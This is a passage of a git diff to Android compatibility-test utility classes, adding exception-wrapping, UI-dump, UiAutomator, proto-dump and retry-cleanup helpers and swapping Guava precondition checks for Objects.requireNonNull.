+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+
+import java.util.function.Function;
+
+/**
+ * Utilities to deal with exceptions
+ */
+public class ExceptionUtils {
+ private ExceptionUtils() {}
+
+ /**
+ * Rethrow a given exception, optionally wrapping it in a {@link RuntimeException}
+ */
+ public static RuntimeException propagate(@NonNull Throwable t) {
+ if (t == null) {
+ throw new NullPointerException();
+ }
+ propagateIfInstanceOf(t, Error.class);
+ propagateIfInstanceOf(t, RuntimeException.class);
+ throw new RuntimeException(t);
+ }
+
+ /**
+ * Rethrow a given exception, if it's of type {@code E}
+ */
+ public static <E extends Throwable> void propagateIfInstanceOf(
+ @Nullable Throwable t, Class<E> c) throws E {
+ if (t != null && c.isInstance(t)) {
+ throw c.cast(t);
+ }
+ }
+
+ /**
+ * Gets the root {@link Throwable#getCause() cause} of {@code t}
+ */
+ public static @NonNull Throwable getRootCause(@NonNull Throwable t) {
+ while (t.getCause() != null) t = t.getCause();
+ return t;
+ }
+
+ /**
+ * Appends {@code cause} at the end of the causal chain of {@code t}
+ *
+ * @return {@code t} for convenience
+ */
+ public static @NonNull Throwable appendCause(@NonNull Throwable t, @Nullable Throwable cause) {
+ if (cause != null) {
+ getRootCause(t).initCause(cause);
+ }
+ return t;
+ }
+
+ /**
+ * Runs the given {@code action}, and if any exceptions are thrown in the process, applies
+ * given {@code exceptionTransformer}, rethrowing the result.
+ */
+ public static <R> R wrappingExceptions(
+ Function<Throwable, Throwable> exceptionTransformer, ThrowingSupplier<R> action) {
+ try {
+ return action.get();
+ } catch (Throwable t) {
+ Throwable transformed;
+ try {
+ transformed = exceptionTransformer.apply(t);
+ } catch (Throwable t2) {
+ transformed = new RuntimeException("Failed to apply exception transformation",
+ ExceptionUtils.appendCause(t2, t));
+ }
+ throw ExceptionUtils.propagate(transformed);
+ }
+ }
+
+ /**
+ * @see #wrappingExceptions(Function, ThrowingSupplier)
+ */
+ public static void wrappingExceptions(
+ Function<Throwable, Throwable> exceptionTransformer, ThrowingRunnable action) {
+ wrappingExceptions(exceptionTransformer, () -> {
+ action.run();
+ return null;
+ });
+ }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/FileUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/FileUtils.java
index ceada01..b628bce 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/FileUtils.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/FileUtils.java
@@ -54,7 +54,12 @@
public static final int S_IXOTH = 00001;
static {
- System.loadLibrary("cts_jni");
+ try {
+ // Required only for the native methods.
+ System.loadLibrary("cts_jni");
+ } catch (UnsatisfiedLinkError e) {
+ System.out.println("JNI not loaded");
+ }
}
public static class FileStatus {
@@ -93,13 +98,18 @@
* @param status object to set the fields on
* @param statLinks or don't stat links (lstat vs stat)
* @return whether or not we were able to stat the file
+ *
+ * If you call this method, make sure to link in the libcts_jni library.
*/
public native static boolean getFileStatus(String path, FileStatus status, boolean statLinks);
+ /** If you call this method, make sure to link in the libcts_jni library. */
public native static String getUserName(int uid);
+ /** If you call this method, make sure to link in the libcts_jni library. */
public native static String getGroupName(int gid);
+ /** If you call this method, make sure to link in the libcts_jni library. */
public native static int setPermissions(String file, int mode);
/**
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/FutureResultActivity.kt b/common/device-side/util-axt/src/com/android/compatibility/common/util/FutureResultActivity.kt
new file mode 100644
index 0000000..49397a5
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/FutureResultActivity.kt
@@ -0,0 +1,58 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util
+
+import android.app.Activity
+import android.content.Intent
+import java.util.concurrent.CompletableFuture
+import java.util.concurrent.ConcurrentHashMap
+import java.util.concurrent.atomic.AtomicInteger
+
+/**
+ * An [Activity] that exposes a special [startActivityForResult],
+ * returning future resultCode as a [CompletableFuture]
+ */
+class FutureResultActivity : Activity() {
+
+ companion object {
+
+ /** requestCode -> Future<resultCode> */
+ private val requests = ConcurrentHashMap<Int, CompletableFuture<Int>>()
+ private val nextRequestCode = AtomicInteger(0)
+
+ fun doAndAwaitStart(act: () -> Unit): CompletableFuture<Int> {
+ val requestCode = nextRequestCode.get()
+ act()
+ PollingCheck.waitFor(60_000) {
+ nextRequestCode.get() >= requestCode + 1
+ }
+ return requests[requestCode]!!
+ }
+ }
+
+ override fun onActivityResult(requestCode: Int, resultCode: Int, data: Intent?) {
+ requests[requestCode]!!.complete(resultCode)
+ }
+
+ fun startActivityForResult(intent: Intent): CompletableFuture<Int> {
+ val requestCode = nextRequestCode.getAndIncrement()
+ val future = CompletableFuture<Int>()
+ requests[requestCode] = future
+ startActivityForResult(intent, requestCode)
+ return future
+ }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/LocationUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/LocationUtils.java
index f233851..c1f4ef5 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/LocationUtils.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/LocationUtils.java
@@ -17,24 +17,44 @@
package com.android.compatibility.common.util;
import android.app.Instrumentation;
-import android.util.Log;
+import android.location.Location;
+import android.os.SystemClock;
import java.io.IOException;
+import java.util.Random;
public class LocationUtils {
- private static String TAG = "LocationUtils";
+
+ private static final double MIN_LATITUDE = -90D;
+ private static final double MAX_LATITUDE = 90D;
+ private static final double MIN_LONGITUDE = -180D;
+ private static final double MAX_LONGITUDE = 180D;
+
+ private static final float MIN_ACCURACY = 1;
+ private static final float MAX_ACCURACY = 100;
public static void registerMockLocationProvider(Instrumentation instrumentation,
- boolean enable) {
- StringBuilder command = new StringBuilder();
- command.append("appops set ");
- command.append(instrumentation.getContext().getPackageName());
- command.append(" android:mock_location ");
- command.append(enable ? "allow" : "deny");
- try {
- SystemUtil.runShellCommand(instrumentation, command.toString());
- } catch (IOException e) {
- Log.e(TAG, "Error managing mock location app. Command: " + command, e);
- }
+ boolean enable) throws IOException {
+ SystemUtil.runShellCommand(instrumentation, "appops set "
+ + instrumentation.getContext().getPackageName()
+ + " android:mock_location "
+ + (enable ? "allow" : "deny"));
+ }
+
+ public static Location createLocation(String provider, Random random) {
+ return createLocation(provider,
+ MIN_LATITUDE + random.nextDouble() * (MAX_LATITUDE - MIN_LATITUDE),
+ MIN_LONGITUDE + random.nextDouble() * (MAX_LONGITUDE - MIN_LONGITUDE),
+ MIN_ACCURACY + random.nextFloat() * (MAX_ACCURACY - MIN_ACCURACY));
+ }
+
+ public static Location createLocation(String provider, double latitude, double longitude, float accuracy) {
+ Location location = new Location(provider);
+ location.setLatitude(latitude);
+ location.setLongitude(longitude);
+ location.setAccuracy(accuracy);
+ location.setTime(System.currentTimeMillis());
+ location.setElapsedRealtimeNanos(SystemClock.elapsedRealtimeNanos());
+ return location;
}
}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/OneTimeDeviceConfigListener.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/OneTimeDeviceConfigListener.java
index e5be3f41..3581764 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/OneTimeDeviceConfigListener.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/OneTimeDeviceConfigListener.java
@@ -23,8 +23,7 @@
import androidx.annotation.NonNull;
-import com.google.common.base.Preconditions;
-
+import java.util.Objects;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.TimeUnit;
@@ -50,8 +49,8 @@
public OneTimeDeviceConfigListener(@NonNull String namespace, @NonNull String key,
long timeoutMs) {
- mNamespace = Preconditions.checkNotNull(namespace);
- mKey = Preconditions.checkNotNull(key);
+ mNamespace = Objects.requireNonNull(namespace);
+ mKey = Objects.requireNonNull(key);
mTimeoutMs = timeoutMs;
}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/ProtoUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/ProtoUtils.java
new file mode 100644
index 0000000..ac99446
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/ProtoUtils.java
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import android.app.UiAutomation;
+
+/**
+ * Utility class for proto dumps.
+ */
+public class ProtoUtils {
+ public static final String DUMPSYS_JOB_SCHEDULER = "dumpsys jobscheduler --proto";
+
+ /**
+ * Call onto the device with an adb shell command and get the results of
+ * that as a proto of the given type.
+ *
+ * @param clazz A protobuf message class. e.g. MyProto
+ * @param command The adb shell command to run. e.g. "dumpsys jobscheduler --proto"
+ */
+ public static <T> T getProto(UiAutomation automation, Class<T> clazz, String command)
+ throws Exception {
+ return clazz.cast(clazz.getDeclaredMethod("parseFrom", byte[].class)
+ .invoke(null, SystemUtil.runShellCommandByteOutput(automation, command)));
+ }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/RetryRule.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/RetryRule.java
index 32dedea..ca0e3e2 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/RetryRule.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/RetryRule.java
@@ -18,6 +18,8 @@
import android.util.Log;
+import androidx.annotation.Nullable;
+
import org.junit.rules.TestRule;
import org.junit.runner.Description;
import org.junit.runners.model.Statement;
@@ -28,7 +30,17 @@
public class RetryRule implements TestRule {
private static final String TAG = "RetryRule";
+
+ /**
+ * An interface is used to clean up testing objects between the retries to make sure
+ * the testing environment is clean.
+ */
+ public interface RetryCleaner {
+ void clean();
+ }
+
private final int mMaxAttempts;
+ private final RetryCleaner mCleaner;
/**
* Retries the underlying test when it catches a {@link RetryableException}.
@@ -38,10 +50,24 @@
* @throws IllegalArgumentException if {@code retries} is less than {@code 0}.
*/
public RetryRule(int retries) {
+ this(retries, null);
+ }
+
+ /**
+ * Retries the underlying test when it catches a {@link RetryableException}.
+ *
+ * @param retries number of retries. Use {@code 0} to disable rule.
+ * @param cleaner a {@link RetryCleaner} to clean up the objects generated by the testing
+ * between retries
+ *
+ * @throws IllegalArgumentException if {@code retries} is less than {@code 0}.
+ */
+ public RetryRule(int retries, @Nullable RetryCleaner cleaner) {
if (retries < 0) {
throw new IllegalArgumentException("retries must be more than 0");
}
mMaxAttempts = retries + 1;
+ mCleaner = cleaner;
}
@Override
@@ -78,6 +104,9 @@
+ " to " + timeout.ms() + "ms");
}
caught = e;
+ if (i != mMaxAttempts && mCleaner != null) {
+ mCleaner.clean();
+ }
}
Log.w(TAG, "Arrrr! " + name + " failed at attempt " + i + "/" + mMaxAttempts
+ ": " + caught);
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/SettingsStateManager.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/SettingsStateManager.java
index bab06a6..c7be6b3 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/SettingsStateManager.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/SettingsStateManager.java
@@ -22,7 +22,7 @@
import androidx.annotation.NonNull;
import androidx.annotation.Nullable;
-import com.google.common.base.Preconditions;
+import java.util.Objects;
/**
* Manages the state of a preference backed by {@link Settings}.
@@ -42,9 +42,9 @@
*/
public SettingsStateManager(@NonNull Context context, @NonNull String namespace,
@NonNull String key) {
- mContext = Preconditions.checkNotNull(context);
- mNamespace = Preconditions.checkNotNull(namespace);
- mKey = Preconditions.checkNotNull(key);
+ mContext = Objects.requireNonNull(context);
+ mNamespace = Objects.requireNonNull(namespace);
+ mKey = Objects.requireNonNull(key);
}
@Override
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/StateChangerRule.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/StateChangerRule.java
index 4e59f13..3a0ceb0 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/StateChangerRule.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/StateChangerRule.java
@@ -19,8 +19,6 @@
import androidx.annotation.NonNull;
import androidx.annotation.Nullable;
-import com.google.common.base.Preconditions;
-
import org.junit.rules.TestRule;
import org.junit.runner.Description;
import org.junit.runners.model.Statement;
@@ -47,7 +45,7 @@
* @param value value to be set before the test is run.
*/
public StateChangerRule(@NonNull StateManager<T> stateManager, @Nullable T value) {
- mStateManager = Preconditions.checkNotNull(stateManager);
+ mStateManager = Objects.requireNonNull(stateManager);
mValue = value;
}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/StateKeeperRule.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/StateKeeperRule.java
index ecc02a2..76e5fa7 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/StateKeeperRule.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/StateKeeperRule.java
@@ -18,8 +18,6 @@
import androidx.annotation.NonNull;
-import com.google.common.base.Preconditions;
-
import org.junit.rules.TestRule;
import org.junit.runner.Description;
import org.junit.runners.model.Statement;
@@ -43,7 +41,7 @@
* @param stateManager abstraction used to mange the state.
*/
public StateKeeperRule(@NonNull StateManager<T> stateManager) {
- mStateManager = Preconditions.checkNotNull(stateManager);
+ mStateManager = Objects.requireNonNull(stateManager);
}
/**
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/SystemUtil.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/SystemUtil.java
index 16fce10..6a8768c 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/SystemUtil.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/SystemUtil.java
@@ -31,9 +31,11 @@
import androidx.annotation.NonNull;
import androidx.test.InstrumentationRegistry;
+import java.io.ByteArrayOutputStream;
import java.io.FileInputStream;
import java.io.IOException;
import java.util.concurrent.Callable;
+import java.util.concurrent.atomic.AtomicReference;
import java.util.function.Predicate;
public class SystemUtil {
@@ -81,21 +83,30 @@
*/
public static String runShellCommand(UiAutomation automation, String cmd)
throws IOException {
+ return new String(runShellCommandByteOutput(automation, cmd));
+ }
+
+ /**
+ * Executes a shell command using shell user identity, and return the standard output as a byte
+ * array
+ * <p>Note: calling this function requires API level 21 or above
+ *
+ * @param automation {@link UiAutomation} instance, obtained from a test running in
+ * instrumentation framework
+ * @param cmd the command to run
+ * @return the standard output of the command as a byte array
+ */
+ static byte[] runShellCommandByteOutput(UiAutomation automation, String cmd)
+ throws IOException {
Log.v(TAG, "Running command: " + cmd);
if (cmd.startsWith("pm grant ") || cmd.startsWith("pm revoke ")) {
throw new UnsupportedOperationException("Use UiAutomation.grantRuntimePermission() "
+ "or revokeRuntimePermission() directly, which are more robust.");
}
ParcelFileDescriptor pfd = automation.executeShellCommand(cmd);
- byte[] buf = new byte[512];
- int bytesRead;
- FileInputStream fis = new ParcelFileDescriptor.AutoCloseInputStream(pfd);
- StringBuffer stdout = new StringBuffer();
- while ((bytesRead = fis.read(buf)) != -1) {
- stdout.append(new String(buf, 0, bytesRead));
+ try (FileInputStream fis = new ParcelFileDescriptor.AutoCloseInputStream(pfd)) {
+ return FileUtils.readInputStreamFully(fis);
}
- fis.close();
- return stdout.toString();
}
/**
@@ -159,6 +170,16 @@
}
/**
+ * Runs a {@link ThrowingSupplier} adopting Shell's permissions, and returning the result.
+ */
+ public static <T> T runWithShellPermissionIdentity(@NonNull ThrowingSupplier<T> supplier) {
+ final UiAutomation automan = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+ AtomicReference<T> result = new AtomicReference<>();
+ runWithShellPermissionIdentity(automan, () -> result.set(supplier.get()));
+ return result.get();
+ }
+
+ /**
* Runs a {@link ThrowingRunnable} adopting Shell's permissions.
*/
public static void runWithShellPermissionIdentity(@NonNull ThrowingRunnable runnable) {
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/ThrowingSupplier.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/ThrowingSupplier.java
new file mode 100644
index 0000000..f1e0006
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/ThrowingSupplier.java
@@ -0,0 +1,30 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.util;
+
+import java.util.function.Supplier;
+
+/**
+ * Similar to {@link Supplier} but has {@code throws Exception}.
+ *
+ * @param <T> type of the value produced
+ */
+public interface ThrowingSupplier<T> {
+ /**
+ * Similar to {@link Supplier#get} but has {@code throws Exception}.
+ */
+ T get() throws Exception;
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/UiAutomatorUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/UiAutomatorUtils.java
new file mode 100644
index 0000000..07133d6
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/UiAutomatorUtils.java
@@ -0,0 +1,74 @@
+package com.android.compatibility.common.util;
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+
+import static org.junit.Assert.assertNotNull;
+
+import android.support.test.uiautomator.BySelector;
+import android.support.test.uiautomator.UiDevice;
+import android.support.test.uiautomator.UiObject2;
+import android.support.test.uiautomator.UiObjectNotFoundException;
+import android.support.test.uiautomator.UiScrollable;
+import android.support.test.uiautomator.UiSelector;
+import android.support.test.uiautomator.Until;
+
+import androidx.test.InstrumentationRegistry;
+
+public class UiAutomatorUtils {
+ private UiAutomatorUtils() {}
+
+ public static UiDevice getUiDevice() {
+ return UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+ }
+
+ public static UiObject2 waitFindObject(BySelector selector) throws UiObjectNotFoundException {
+ return waitFindObject(selector, 10_000);
+ }
+
+ public static UiObject2 waitFindObject(BySelector selector, long timeoutMs)
+ throws UiObjectNotFoundException {
+ final UiObject2 view = waitFindObjectOrNull(selector, timeoutMs);
+ ExceptionUtils.wrappingExceptions(UiDumpUtils::wrapWithUiDump, () -> {
+ assertNotNull("View not found after waiting for " + timeoutMs + "ms: " + selector,
+ view);
+ });
+ return view;
+ }
+
+ public static UiObject2 waitFindObjectOrNull(BySelector selector)
+ throws UiObjectNotFoundException {
+ return waitFindObjectOrNull(selector, 10_000);
+ }
+
+ public static UiObject2 waitFindObjectOrNull(BySelector selector, long timeoutMs)
+ throws UiObjectNotFoundException {
+ UiObject2 view = null;
+ long start = System.currentTimeMillis();
+ while (view == null && start + timeoutMs > System.currentTimeMillis()) {
+ view = getUiDevice().wait(Until.findObject(selector), timeoutMs / 10);
+
+ if (view == null) {
+ UiScrollable scrollable = new UiScrollable(new UiSelector().scrollable(true));
+ scrollable.setSwipeDeadZonePercentage(0.25);
+ if (scrollable.exists()) {
+ scrollable.scrollForward();
+ }
+ }
+ }
+ return view;
+ }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/UiDumpUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/UiDumpUtils.java
new file mode 100644
index 0000000..a36c1eb
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/UiDumpUtils.java
@@ -0,0 +1,566 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import static android.text.TextUtils.isEmpty;
+
+import android.app.Instrumentation;
+import android.app.UiAutomation;
+import android.graphics.Point;
+import android.graphics.Rect;
+import android.os.Bundle;
+import android.view.WindowManager;
+import android.view.accessibility.AccessibilityNodeInfo;
+import android.view.accessibility.AccessibilityNodeInfo.AccessibilityAction;
+import android.view.accessibility.AccessibilityWindowInfo;
+
+import androidx.test.InstrumentationRegistry;
+
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+import java.lang.reflect.Modifier;
+import java.util.Arrays;
+import java.util.LinkedHashMap;
+import java.util.LinkedHashSet;
+import java.util.List;
+import java.util.Map;
+import java.util.Objects;
+import java.util.Set;
+import java.util.function.BiFunction;
+import java.util.function.BiPredicate;
+import java.util.function.Consumer;
+import java.util.function.Function;
+import java.util.function.ToIntFunction;
+import java.util.stream.Stream;
+
+/**
+ * Utilities to dump the view hierrarchy as an indented tree
+ *
+ * @see #dumpNodes(AccessibilityNodeInfo, StringBuilder)
+ * @see #wrapWithUiDump(Throwable)
+ */
+@SuppressWarnings({"PointlessBitwiseExpression"})
+public class UiDumpUtils {
+ private UiDumpUtils() {}
+
+ private static final boolean CONCISE = false;
+ private static final boolean SHOW_ACTIONS = false;
+ private static final boolean IGNORE_INVISIBLE = false;
+
+ private static final int IGNORED_ACTIONS = 0
+ | AccessibilityNodeInfo.ACTION_ACCESSIBILITY_FOCUS
+ | AccessibilityNodeInfo.ACTION_CLEAR_ACCESSIBILITY_FOCUS
+ | AccessibilityNodeInfo.ACTION_FOCUS
+ | AccessibilityNodeInfo.ACTION_NEXT_AT_MOVEMENT_GRANULARITY
+ | AccessibilityNodeInfo.ACTION_PREVIOUS_AT_MOVEMENT_GRANULARITY
+ | AccessibilityNodeInfo.ACTION_SELECT
+ | AccessibilityNodeInfo.ACTION_SET_SELECTION
+ | AccessibilityNodeInfo.ACTION_CLEAR_SELECTION
+ | AccessibilityNodeInfo.ACTION_PREVIOUS_HTML_ELEMENT
+ | AccessibilityNodeInfo.ACTION_NEXT_HTML_ELEMENT
+ ;
+
+ private static final int SPECIALLY_HANDLED_ACTIONS = 0
+ | AccessibilityNodeInfo.ACTION_CLICK
+ | AccessibilityNodeInfo.ACTION_LONG_CLICK
+ | AccessibilityNodeInfo.ACTION_EXPAND
+ | AccessibilityNodeInfo.ACTION_COLLAPSE
+ | AccessibilityNodeInfo.ACTION_FOCUS
+ | AccessibilityNodeInfo.ACTION_CLEAR_FOCUS
+ | AccessibilityNodeInfo.ACTION_SCROLL_FORWARD
+ | AccessibilityNodeInfo.ACTION_SCROLL_BACKWARD
+ | AccessibilityNodeInfo.ACTION_SET_TEXT
+ ;
+
+ /** name -> typical_value */
+ private static Map<String, Boolean> sNodeFlags = new LinkedHashMap<>();
+ static {
+ sNodeFlags.put("focused", false);
+ sNodeFlags.put("selected", false);
+ sNodeFlags.put("contextClickable", false);
+ sNodeFlags.put("dismissable", false);
+ sNodeFlags.put("enabled", true);
+ sNodeFlags.put("password", false);
+ sNodeFlags.put("visibleToUser", true);
+ sNodeFlags.put("contentInvalid", false);
+ sNodeFlags.put("heading", false);
+ sNodeFlags.put("showingHintText", false);
+
+ // Less important flags below
+ // Too spammy to report all, but can uncomment what's necessary
+
+// sNodeFlags.put("focusable", true);
+// sNodeFlags.put("accessibilityFocused", false);
+// sNodeFlags.put("screenReaderFocusable", true);
+// sNodeFlags.put("clickable", false);
+// sNodeFlags.put("longClickable", false);
+// sNodeFlags.put("checkable", false);
+// sNodeFlags.put("checked", false);
+// sNodeFlags.put("editable", false);
+// sNodeFlags.put("scrollable", false);
+// sNodeFlags.put("importantForAccessibility", true);
+// sNodeFlags.put("multiLine", false);
+ }
+
+ /** action -> pictogram */
+ private static Map<AccessibilityAction, String> sNodeActions = new LinkedHashMap<>();
+ static {
+ sNodeActions.put(AccessibilityAction.ACTION_PASTE, "\uD83D\uDCCB");
+ sNodeActions.put(AccessibilityAction.ACTION_CUT, "✂");
+ sNodeActions.put(AccessibilityAction.ACTION_COPY, "⎘");
+ sNodeActions.put(AccessibilityAction.ACTION_SCROLL_BACKWARD, "←");
+ sNodeActions.put(AccessibilityAction.ACTION_SCROLL_LEFT, "←");
+ sNodeActions.put(AccessibilityAction.ACTION_SCROLL_FORWARD, "→");
+ sNodeActions.put(AccessibilityAction.ACTION_SCROLL_RIGHT, "→");
+ sNodeActions.put(AccessibilityAction.ACTION_SCROLL_DOWN, "↓");
+ sNodeActions.put(AccessibilityAction.ACTION_SCROLL_UP, "↑");
+ }
+
+ private static Instrumentation sInstrumentation = InstrumentationRegistry.getInstrumentation();
+ private static UiAutomation sUiAutomation = sInstrumentation.getUiAutomation();
+
+ private static int sScreenArea;
+ static {
+ Point displaySize = new Point();
+ sInstrumentation.getContext()
+ .getSystemService(WindowManager.class)
+ .getDefaultDisplay()
+ .getRealSize(displaySize);
+ sScreenArea = displaySize.x * displaySize.y;
+ }
+
+
+ /**
+ * Wraps the given exception, with one containing UI hierrarchy {@link #dumpNodes dump}
+ * in its message.
+ *
+ * <p>
+ * Can be used together with {@link ExceptionUtils#wrappingExceptions}, e.g:
+ * {@code
+ * ExceptionUtils.wrappingExceptions(UiDumpUtils::wrapWithUiDump, () -> {
+ * // UI-testing code
+ * });
+ * }
+ */
+ public static UiDumpWrapperException wrapWithUiDump(Throwable cause) {
+ return (cause instanceof UiDumpWrapperException)
+ ? (UiDumpWrapperException) cause
+ : new UiDumpWrapperException(cause);
+ }
+
+ /**
+ * Dumps UI hierarchy with a given {@code root} as indented text tree into {@code out}.
+ */
+ public static void dumpNodes(AccessibilityNodeInfo root, StringBuilder out) {
+ if (root == null) {
+ appendNode(out, root);
+ return;
+ }
+
+ out.append("--- ").append(root.getPackageName()).append(" ---\n|");
+
+ recursively(root, AccessibilityNodeInfo::getChildCount, AccessibilityNodeInfo::getChild,
+ node -> {
+ if (appendNode(out, node)) {
+ out.append("\n|");
+ }
+ },
+ action -> node -> {
+ out.append(" ");
+ action.accept(node);
+ });
+ }
+
+ private static <T> void recursively(T node,
+ ToIntFunction<T> getChildCount, BiFunction<T, Integer, T> getChildAt,
+ Consumer<T> action, Function<Consumer<T>, Consumer<T>> actionChange) {
+ if (node == null) return;
+
+ action.accept(node);
+ Consumer<T> childAction = actionChange.apply(action);
+
+ int size = getChildCount.applyAsInt(node);
+ for (int i = 0; i < size; i++) {
+ recursively(getChildAt.apply(node, i),
+ getChildCount, getChildAt, childAction, actionChange);
+ }
+ }
+
+ private static StringBuilder appendWindow(AccessibilityWindowInfo window, StringBuilder out) {
+ if (window == null) {
+ out.append("<null window>");
+ } else {
+ if (!isEmpty(window.getTitle())) {
+ out.append(window.getTitle());
+ if (CONCISE) return out;
+ out.append(" ");
+ }
+ out.append(valueToString(
+ AccessibilityWindowInfo.class, "TYPE_", window.getType())).append(" ");
+ if (CONCISE) return out;
+ appendArea(out, window::getBoundsInScreen);
+
+ Rect bounds = new Rect();
+ window.getBoundsInScreen(bounds);
+ out.append(bounds.width()).append("x").append(bounds.height()).append(" ");
+ if (window.isInPictureInPictureMode()) out.append("#PIP ");
+ }
+ return out;
+ }
+
+ private static void appendArea(StringBuilder out, Consumer<Rect> getBoundsInScreen) {
+ Rect rect = new Rect();
+ getBoundsInScreen.accept(rect);
+ out.append("size:");
+ out.append(toStringRounding((float) area(rect) * 100 / sScreenArea)).append("% ");
+ }
+
+ private static boolean appendNode(StringBuilder out, AccessibilityNodeInfo node) {
+ if (node == null) {
+ out.append("<null node>");
+ return true;
+ }
+
+ if (IGNORE_INVISIBLE && !node.isVisibleToUser()) return false;
+
+ boolean markedClickable = false;
+ boolean markedNonFocusable = false;
+
+ try {
+ if (node.isFocused() || node.isAccessibilityFocused()) {
+ out.append(">");
+ }
+
+ if ((node.getActions() & AccessibilityNodeInfo.ACTION_EXPAND) != 0) {
+ out.append("[+] ");
+ }
+ if ((node.getActions() & AccessibilityNodeInfo.ACTION_COLLAPSE) != 0) {
+ out.append("[-] ");
+ }
+
+ CharSequence txt = node.getText();
+ if (node.isCheckable()) {
+ out.append("[").append(node.isChecked() ? "X" : "_").append("] ");
+ } else if (node.isEditable()) {
+ if (txt == null) txt = "";
